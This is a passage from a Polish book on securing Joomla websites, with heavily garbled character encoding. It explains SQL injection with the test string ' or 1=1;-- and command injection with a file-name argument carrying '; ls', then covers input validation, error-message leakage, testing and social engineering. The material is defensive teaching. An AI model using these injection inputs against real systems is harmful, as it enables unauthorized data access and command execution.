ïÚdach), co spowoduje, ĝe system DBMS wygeneruje informacje w niezamierzony sposób.
¥cisïa typizacja oznacza, ĝe w aplikacji obowiÈzujÈ precyzyjne reguïy dotyczÈce ïÈczenia
i u
ĝywania danych okreĂlonego typu. Stosowanie tej techniki jest zgodne z podejĂciem „wielo-
warstwowej obrony”.
Jednym z testów na sprawdzanie podatno
Ăci aplikacji na wstrzykniÚcie kodu SQL jest przesïanie
dowolnych danych wej
Ăciowych w celu okreĂlenia warunków wystÈpienia bïÚdu. Na przykïad
spróbuj przes
ïaÊ w zapytaniu SQL poniĝszy kod:
Select * from users where password =' ' or 1=1;--
W
ïaĂnie zaĝÈdaïeĂ pobrania kaĝdego wiersza tabeli. Baza danych dojdzie do sekwencji „--” i po-
minie dalszy kod. Je
Ăli w plikach dziennika z instrukcjami z zapytaniami SQL znajdziesz dziwne
ĝÈdania, oznacza to, ĝe ktoĂ próbuje zaatakowaÊ witrynÚ.
Przetestowanie podatno
Ăci na omawiane ataki jest proste. Wystarczy przesïaÊ zapytania SQL przy
u
ĝyciu róĝnych znaków specjalnych i obserwowaÊ efekty.
Przez zastosowanie si
Ú do instrukcji zabezpieczania witryny moĝesz znacznie zmniejszyÊ po-
datno
ĂÊ na ataki ze strony opisanych eksploitów. Ponadto zawsze warto poszukaÊ w witrynach dla
hakerów informacji o eksploitach powi
Èzanych z rozszerzeniem, którego uĝywasz.
Rozdzia
á 4. • Luki
99
Ataki przez wstrzykni
Úcie poleceñ
Je
Ăli jesteĂ fanem serialu „Star Trek”, moĝe przypominasz sobie odcinek, w którym kapitan Kirk
spotka
ï swego Ămiertelnego wroga — Khana. Przeciwnicy stanÚli naprzeciwko siebie, przy czym
statek Khana mia
ï przewagÚ nad Enterprise. Kirk poprosiï Spocka o podanie „kodów poleceñ” Re-
lianta (tak
È nazwÚ nosiï statek skradziony przez Khana), a nastÚpnie wprowadziï sekwencjÚ liczb
i rozkaza
ï komputerowi Relianta wyïÈczenie zabezpieczeñ. Kirk zastosowaï w ten sposób atak
przez wstrzykni
Úcie polecenia. ChoÊ wydarzenia ze statku Enterprise sÈ fikcyjne, ataki przez
wstrzykni
Úcie poleceñ sÈ jak najbardziej realne. WstrzykniÚcie instrukcji do systemu (na przykïad
na serwer) sprawia,
ĝe niezawodnoĂÊ i wiarygodnoĂÊ danego komputera spadajÈ do zera.
Na stronie http://www.owasp.org/index.php/Command_Injection znajduje si
Ú bardzo dobra
definicja ataku przez wstrzykni
Úcie poleceñ:
„Celem ataku przez wstrzykni
Úcie poleceñ jest wstawienie i wykonanie instrukcji okreĂlonych
przez napastnika za pomoc
È podatnej na ten atak aplikacji. W takich warunkach program, który
wykonuje niepo
ĝÈdane polecenia systemowe, przypomina powïokÚ systemowÈ, a napastnik moĝe
jej u
ĝywaÊ jak uwierzytelniony uĝytkownik. Jednak instrukcje sÈ uruchamiane z takimi samymi
uprawnieniami i w tym samym
Ărodowisku, co dana aplikacja. PrzyczynÈ ataków przez wstrzyk-
ni
Úcie poleceñ jest najczÚĂciej niedostateczna walidacja danych wejĂciowych, którymi napastnik
mo
ĝe dodatkowo manipulowaÊ (za pomocÈ formularzy, plików cookie, nagïówków HTTP itd.).
Istnieje te
ĝ inna odmiana omawianego ataku — wstrzykniÚcie kodu. W tej specyficznej technice
napastnik dodaje w
ïasny kod do istniejÈcego, przez co wzbogaca wbudowane funkcje aplikacji
i nie potrzebuje wykonywa
Ê poleceñ systemowych. WstrzykniÚty kod jest uruchamiany z tymi
samymi uprawnieniami i w tym samym
Ărodowisku, co dany program”.
Je
Ğli uĪyjesz kodu w standardowy sposób, zobaczysz oczekiwane dane:
$ ./catWrapper Story.txt
Przyk
ïadowy atak
Je
Ăli napastnik bÚdzie chciaï CiÚ zaatakowaÊ, moĝe dodaÊ na koñcu wiersza Ărednik i dodatkowÈ
instrukcj
Ú, co spowoduje wykonanie przez nakïadkÚ
catWrapper
polecenia
ls
oraz wy
Ăwietlenie
zawarto
Ăci danego katalogu.
$ ./catWrapper "Story.txt; ls"
When last we left our heroes...
Story.txt doubFree.c nullpointer.c
unstosig.c www* a.out*
format.c strlen.c useFree*
catWrapper* misnull.c strlength.c
useFree.c commandinjection.c nodefault.c
trunc.c writeWhatWhere.c
Joomla! Zabezpieczanie witryn
100
Gdyby nak
ïadka
catWrapper
mia
ïa wyĝszy poziom uprawnieñ niĝ standardowy uĝytkownik, umoĝ-
liwia
ïaby wykonywanie dowolnych poleceñ z danego poziomu.
Dlaczego pojawiaj
È siÚ luki?
Przyczyn
È powstawania usterek i luk jest kilka czynników. Najwaĝniejszy z nich to zïoĝonoĂÊ.
Ponadto kod mo
ĝe dziaïaÊ w nieoczekiwany sposób w interakcji z innymi fragmentami programu.
Za ka
ĝdym razem, kiedy producent dodaje do pakietu oprogramowania nowe funkcje, w aplikacji
pojawia si
Ú wiele luk, którymi trzeba siÚ zajÈÊ.
Inne przyczyny usterek to:
Q
niewystarczaj
Èce testy i planowanie,
Q
niew
ïaĂciwa instalacja i konfiguracja serwera,
Q
z
ïe ustawienia zapory,
Q
udost
Úpnianie zbyt wielu informacji,
Q
niew
ïaĂciwe formatowanie zmiennych i niebezpiecznych danych wejĂciowych,
Q
brak testów w zró
ĝnicowanym Ărodowisku,
Q
interakcje z dodatkami niezale
ĝnych producentów,
Q
socjotechnika (tak, to te
ĝ problem),
Q
nieregularne instalowanie poprawek i aktualizacji (nie jest to przyczyna problemów,
ale prowadzi do umo
ĝliwienia uĝycia eksploitów),
Q
z
ïoĂliwi hakerzy, którzy chcÈ wïamaÊ siÚ do systemu,
Q
ataki w dniu zerowym (polegaj
È one na wykorzystaniu bïÚdów, które nie zostaïy jeszcze
zidentyfikowane i naprawione).
Jak wida
Ê, istnieje wiele przyczyn bïÚdów. W koñcu nikt nie jest doskonaïy. Wiem, ĝe to frazes,
jednak nieustannie trzeba go przypomina
Ê.
Programi
Ăci i producenci mogÈ zapobiec wiÚkszoĂci usterek. W rozdziale 5. omawiam szczegóïo-
wo niektóre z cz
Ústo stosowanych ataków i wyjaĂniam, dlaczego sÈ moĝliwe.
Co mo
ĝna zrobiÊ, aby zapobiec lukom?
U
ĝytkownik koñcowy nie naprawi kodu niskiej jakoĂci, jednak moĝe przeprowadziÊ testy. Progra-
mista ma wi
Úksze moĝliwoĂci i moĝe wyeliminowaÊ wiÚcej usterek.
Prze
Ăleděmy kilka strategii, które moĝna zastosowaÊ, aby zïagodziÊ skutki bïÚdów i zabezpieczyÊ
Ărodowisko pracy. Osobno przedstawiam rozwiÈzania dla programistów i uĝytkowników.
Rozdzia
á 4. • Luki
101
Programi
Ăci
Programista jest odpowiedzialny za pisanie jak najlepszego kodu. Nie oznacza to,
ĝe zawsze
musi tworzy
Ê idealne rozwiÈzania. Powinien jednak staraÊ siÚ udostÚpniaÊ produkty wysokiej
jako
Ăci i wykorzystywaÊ wszystkie swe umiejÚtnoĂci.
Czasem w
Ăwiecie techniki duma bierze górÚ nad zdrowym rozsÈdkiem. JeĂli zdasz sobie sprawÚ
z tego,
ĝe pomyïki mogÈ siÚ zdarzaÊ, otworzysz siÚ na krytykÚ ze strony wspóïpracowników.
Nie pozwól, aby duma spowodowa
ïa, ĝe udostÚpnisz kiepski produkt lub nie zapewnisz odpo-
wiedniego wsparcia innym w
Ărodowisku pracy.
Niska jako
ĂÊ testów i planów
W czasie projektowania nowego dodatku, programu lub innego skryptu zastanów si
Ú, jak na-
prawd
Ú bÚdzie uĝywany. W jakim Ărodowisku bÚdzie dziaïaÊ? Czy oprogramowanie to pakiet do
sprzeda
ĝy samochodów? PomyĂl, jakie inne elementy dealer moĝe chcieÊ zainstalowaÊ w witrynie.
Jaki jest poziom wiedzy u
ĝytkowników? W jaki sposób klienci bÚdÈ korzystaÊ z witryny dealera?
Zanim zaczniesz pisa
Ê kod, dobrze przemyĂl, co chcesz osiÈgnÈÊ dziÚki testom. Zapisz plan testów
i uwzgl
Údnij w nim czÚsto wystÚpujÈce problemy. JeĂli firma na przykïad chce zamieszczaÊ
w witrynie zdj
Úcia (co sprzedawcy samochodów zwykle robiÈ), to czy ich rozmiar ma znaczenie?
Czy za du
ĝe rysunki spowodujÈ bïÚdy? Czy zamiast zdjÚcia moĝna wstawiÊ inny element, który
spowoduje przepe
ïnienie bufora i przejÚcie kontroli nad witrynÈ przez napastnika? PrzemyĂlenie
takich kwestii pomo
ĝe Ci przygotowaÊ lepszy kod.
Wskazówka dla u
ĝytkowników
Koniecznie dodaj pomocne komunikaty o b
ïÚdach w jÚzyku polskim i powiÈĝ rozwiÈzanie problemu z syste-
mem pomocy oraz wsparcia technicznego w witrynie.
Tematy do przemy
Ăleñ moĝna dïugo wymieniaÊ. W planach i testach uwzglÚdnij przynajmniej
poni
ĝsze zagadnienia:
Q
Kim jest klient?
Q
Kim s
È klienci klienta?
Q
Jak produkt b
Údzie uĝywany?
Q
Jakie typy zmiennych i danych wej
Ăciowych sÈ dozwolone?
Q
Jaki poziom uprawnie
ñ jest wymagany do uĝywania aplikacji?
Q
Jakie inne rozszerzenia mog
È wspóïdziaïaÊ z rozwijanym systemem?
Nie jest to kompletna lista, lecz tylko punkt wyj
Ăcia do rozwaĝañ. Napastnik moĝe wykorzystaÊ
wszystkie wymienione obszary. Ka
ĝdy z nich zwiÈzany jest ze specyficznymi problemami.
Joomla! Zabezpieczanie witryn
102
Na przyk
ïad dozwolone typy zmiennych i danych wejĂciowych wyznaczajÈ sposób sprawdzania
tablic oraz akceptowane rodzaje zmiennych. W aplikacjach w j
Úzyku PHP zezwalanie na podanie
danych DOWOLNEGO TYPU to z
ïy pomysï, który ponadto nie poprawia komfortu pracy uĝyt-
kowników. W kodzie trzeba przechwytywa
Ê ĝÈdania GET i POST, pliki cookies oraz inne dane,
a nast
Úpnie je sprawdzaÊ. W testach naleĝy podaÊ w polu na dane wejĂciowe (lub w zapytaniu
SQL) znaki specjalne i podobne informacje, aby ustali
Ê, czy moĝna zïamaÊ zabezpieczenia.
Znaki specjalne, na które warto zwróci
Ê uwagÚ, to
‘, <
i
>
. Bardzo wa
ĝne jest wyszukiwanie ich w danych.
Aby zyska
ü lojalnych klientów, naleĪy zapewniü im wysoki komfort pracy i bezpieczeĔstwo.
Zastanów si
Ú nad polem na dane wejĂciowe, w którym uĝytkownik strony moĝe wpisaÊ adres
e-mail.
Mo
ĝesz uĝyÊ poniĝszego prostego fragmentu kodu:
<html>
<head><title>Prosty formularz na adres e-mail</title></head>
<body>
<h2>Podaj adres e-mail</h2><p>
<form action="email.php" method="post">
<table>
<tr><td>Adres e-mail:</td><td><input type="text"
name="Name" /></td></tr>
<tr><td colspan="2" align="center"><input type="submit" /></td></tr>
</table>
</form>
</body>
</html>
Ten kod nie sprawdza poprawno
Ăci adresu e-mail. Nie jest to dobre rozwiÈzanie i z pewnoĂciÈ nie
zapewnia bezpiecze
ñstwa. Nie moĝna teĝ zagwarantowaÊ, ĝe uĝytkownik wprowadzi poprawny
adres; z kolei z
ïoĂliwy napastnik moĝe wstawiÊ szkodliwy skrypt do witryny i przejÈÊ nad niÈ
kontrol
Ú.
Jak wykry
Ê, czy adres e-mail jest poprawny?
Doskona
ïy przykïad kodu do sprawdzania poprawnoĂci adresów e-mail znajdziesz na stronie:
http://www.addedbytes.com/php/email-address-validation/
.
Je
Ăli pobierasz dane wejĂciowe, koniecznie przeprowadě testy! NastÚpnie poproĂ o przetestowanie
rozwi
Èzania znajomego, zaufanego programistÚ i poproĂ go, aby spróbowaï zïamaÊ system.
Rozdzia
á 4. • Luki
103
Kiedy wyst
ÈpiÈ bïÚdy (a z pewnoĂciÈ tak siÚ stanie), dobra procedura ich obsïugi zapewni
p
ïynne dziaïania witryny. Musisz jednak zachowaÊ ostroĝnoĂÊ przy udostÚpnianiu informacji
w komunikatach o b
ïÚdach.
Zastanów si
Ú nad bïÚdem typu „odmowa dostÚpu”.
Odmowa dost
Úpu
Wspomnia
ïem juĝ, ĝe producenci aplikacji czÚsto udostÚpniajÈ zbyt wiele informacji, poniewaĝ
chc
È, aby komunikaty byïy przydatne. Jest to czÚsto spotykany problem, który uïatwia zdetermi-
nowanemu napastnikowi uzyskanie informacji o strukturze programu, u
ĝytych technologiach itd.
Nast
Úpny przykïad ilustruje odrzucone ĝÈdanie pliku. Wszystko przebiega prawidïowo, dopóki
nie pojawi si
Ú komunikat z serwera Apache.
Cho
Ê podane informacje moĝna ïatwo uzyskaÊ takĝe w inny sposób, ten prosty przykïad pokazuje,
ĝe w wyniku bïÚdu serwer podaje informacje na swój temat:
Jest to przyk
ïad bïÚdnej obsïugi bïÚdu 403 (odmowa dostÚpu). Powoduje to ujawnienie szcze-
gó
ïowych informacji o wersji serwera Apache, porcie i strukturze katalogów.
Lepsze rozwi
Èzanie polega na uĝyciu pliku .htaccess do caïkowitego zablokowania komunikatów
o b
ïÚdach.
Zastanów si
Ú nad metodÈ opisanÈ na stronie http://perishablepress.com:
# Blokowanie b
áĊdów w PHP.
php_flag display_startup_errors off
php_flag display_errors off
php_flag html_errors off
php_value docref_root 0
php_value docref_ext 0
Ta technika zapobiega ujawnianiu informacji napastnikowi, który bada witryn
Ú. Starannie prze-
analizuj aplikacj
Ú i sprawdě, czy nie generuje komunikatów o bïÚdach, ujawniajÈcych projekt
tabel SQL lub inne poufne informacje.
Niew
ïaĂciwe formatowanie zmiennych
i niebezpiecznych danych wej
Ăciowych
Wa
ĝnym i czÚsto pomijanym aspektem programowania jest formatowanie danych wejĂciowych.
Je
Ăli program przyjmuje dane od uĝytkownika, trzeba siÚ upewniÊ, ĝe pobrane informacje majÈ
w
ïaĂciwÈ postaÊ. Jeĝeli chcesz otrzymaÊ adres e-mail, musisz sprawdziÊ, czy dane majÈ format
takiego adresu, a nie zapytania SQL.
Joomla! Zabezpieczanie witryn
104
Ten cz
Ústo wystÚpujÈcy problem prowadzi do wiÚkszych kïopotów, jeĂli zostanie wykryty zbyt
pó
ěno.
Kilka znanych eksploitów to efekt nieprawid
ïowego sprawdzania wprowadzonych danych. To
zaniedbanie umo
ĝliwia ataki przez przepeïnienie bufora, wstrzykniÚcie kodu SQL i ataki RFI
(nie jest to kompletna lista).
Brak testów w zró
ĝnicowanym Ărodowisku
Z tym punktem zwi
Èzany jest klasyczny problem zasobów i czasu. Programista jest bardzo zajÚty
i mo
ĝna oczekiwaÊ, ĝe uĝytkownik ma wystarczajÈcÈ wiedzÚ o swym systemie, dlatego nie warto
sprawdza
Ê nieznanych konfiguracji, prawda?
Oczywi
Ăcie wiesz, ĝe jest inaczej. Uĝytkownicy mogÈ przypadkowo uszkodziÊ system. Jak moĝna
przeprowadzi
Ê testy w zróĝnicowanym Ărodowisku, a jednoczeĂnie wykonywaÊ wszystkie inne
zadania?
Wró
Êmy do planu testów. Ustal, na których platformach program ma dziaïaÊ, i przeprowadě na
nich testy. W których wersjach systemów Linux i Windows rozszerzenie ma funkcjonowa
Ê? Które
wersje PHP s
È w powszechnym uĝyciu? Obecnie (w czasie powstawania tej ksiÈĝki) popularnoĂÊ
j
Úzyka PHP 4.xx zaczyna siÚ zmniejszaÊ, a nowym faworytem uĝytkowników sÈ wersje 5.xx. Mo-
ĝesz jednak mieÊ pewnoĂÊ, ĝe przez pewien czas wiele osób nadal bÚdzie korzystaÊ z wersji 4.xx.
Przetestowanie aplikacji w obu
Ărodowiskach to najbardziej odpowiedzialne i profesjonalne
rozwi
Èzanie.
Testowanie w ró
ĝnych wersjach baz SQL
Testowanie w ró
ĝnych powszechnie uĝywanych wersjach bazy MySQL to nastÚpna technika,
która pomaga w tworzeniu aplikacji najwy
ĝszej klasy. Obecnie niektóre firmy hostingowe
umo
ĝliwiajÈ wybór jÚzyka PHP 4 lub 5 i jednej z wielu wersji bazy MySQL. Przetestowanie
najpopularniejszych kombinacji pozwala unikn
ÈÊ póěniejszych problemów, a takĝe pomaga
wyeliminowa
Ê rzadkie bïÚdy, które sprawiajÈ, ĝe witryna, Twoja lub klienta, jest podatna na ataki.
Wspó
ïdziaïanie z rozszerzeniami niezaleĝnych producentów
Testy w tym obszarze s
È czasem trudne, jednak warto siÚ nad nimi zastanowiÊ. PomyĂl, z których
rozszerze
ñ Ty sam i uĝytkownicy bÚdziecie korzystaÊ w poïÈczeniu z danÈ aplikacjÈ. UwzglÚdnij
dodatki zwi
Èzane z Google Adsense i SEO, narzÚdzia do analizy danych internetowych oraz inne
pomocne rozszerzenia.
Musisz si
Ú upewniÊ, ĝe inne rozszerzenia uĝywane wraz z danym systemem nie naraĝÈ go na
dziwne problemy.
Rozdzia
á 4. • Luki
105
U
ĝytkownicy koñcowi
Jak u
Īytkownik koĔcowy moĪe zabezpieczyü siĊ przed atakiem? Wspomniaáem juĪ o kilku kwe-
stiach, aby podkre
Ğliü ich znaczenie. Przyjrzyjmy siĊ teraz innym zagadnieniom.
Socjotechnika
Powszechnie przyjmuje si
Ú, ĝe najsïabszym ogniwem w ïañcuchu zabezpieczeñ jest czïowiek.
Wynika to z naturalnej sk
ïonnoĂci do wierzenia innym na sïowo. Ludzie zwykle ufajÈ osobom po
drugiej stronie s
ïuchawki, które proszÈ o pomoc. Rozmówca „zgubiï” hasïo, a musi przygotowaÊ
raport, poniewa
ĝ szef go zabije! Kto nie byï kiedyĂ w podobnej sytuacji? Rozmówca wywoïuje
wspó
ïczucie, a drobny akt sympatii do drugiego czïowieka naraĝa wiele osób na atak.
Oszustwa typu phishing to popularna obecnie technika wy
ïudzania pieniÚdzy lub informacji,
a jest to tylko najnowsza ze stosowanych metod naci
Ègania. Wyïudzanie jest tak stare jak ludzkoĂÊ.
Socjotechnika nie opiera si
Ú na technologii, a mimo to jest skutecznÈ metodÈ atakowania infra-
struktury witryny lub firmy. Je
Ăli napastnik zyska punkt zaczepienia dziÚki operatorowi, który
odbiera telefony, pracownikowi pomocy technicznej, sprzedawcy, a nawet Tobie, mo
ĝe przejÈÊ
cenne informacje potrzebne do w
ïamania siÚ do systemu.
Pozyskiwanie informacji odbywa si
Ú czasem w bezczelny sposób, kiedy napastnik dzwoni do firmy
i udaje osob
Ú z zespoïu pomocy technicznej, obserwuje budynek lub podsïuchuje Twoje rozmowy
telefoniczne w kawiarni.
Do
Ăwiadczony socjotechnik nie próbuje od razu uzyskaÊ dostÚpu do systemu. Woli zbieraÊ maïe
porcje informacji i stopniowo zbli
ĝaÊ siÚ do celu (czymkolwiek by on byï).
Ludzie „zdradzaj
È” informacje caïy czas — w trakcie rozmów telefonicznych, w e-mailach,
w pogaw
Údkach internetowych, w Ămieciach, a czasem bezpoĂrednio, przez umieszczanie
w e-mailach zastrze
ĝonych danych.
Grzebanie w
Ămieciach to doskonaïy sposób na zdobycie informacji o celu. Kiedy ludzie wyrzu-
caj
È starÈ listÚ cen, zwykle nie uwaĝajÈ, ĝe jest to wartoĂciowa zdobycz dla socjotechnika. Zwykle
to nie same ceny s
È waĝne, ale informacje, które pozwalajÈ wywoïaÊ wraĝenie, ĝe dana osoba pra-
cuje w firmie. Wiedza, jak
È moĝna zdobyÊ przez grzebanie w Ămieciach, jest zdumiewajÈca.
Celem stosowania socjotechniki jest uzyskanie nieuprawnionego dost
Úpu do sieci, konta ban-
kowego, budynku, a nawet mieszkania. Po
ïÈczenie informacji znalezionych w koszu (na przykïad
wykresów firmowych, notatek, ksi
Èĝek telefonicznych itd.) pozwala napastnikowi utworzyÊ
map
Ú organizacji. Taka osoba zyskuje tak bogatÈ wiedzÚ, ĝe nikt nie zawaha siÚ pomóc „wspóï-
pracownikowi”.
Wyszukiwarka
Podobne podstrony:
Joomla! Zabezpieczanie witryn
Joomla Zabezpieczanie witryn
informatyka joomla praktyczne projekty witold wrotek ebook
informatyka joomla system zarzadzania trescia hagen graf ebook
informatyka joomla budowa i modyfikacja szablonow pawel frankowski ebook
informatyka jeszcze wydajniejsze witryny internetowe przyspieszanie dzialania serwisow www steve sou
informatyka joomla 1 6 prosty przepis na wlasna strone www marcin lis ebook
informatyka html5 zaawansowane programowanie peter lubbers ebook
Serwis firmowy Od pomyslu do gotowej wi
więcej podobnych podstron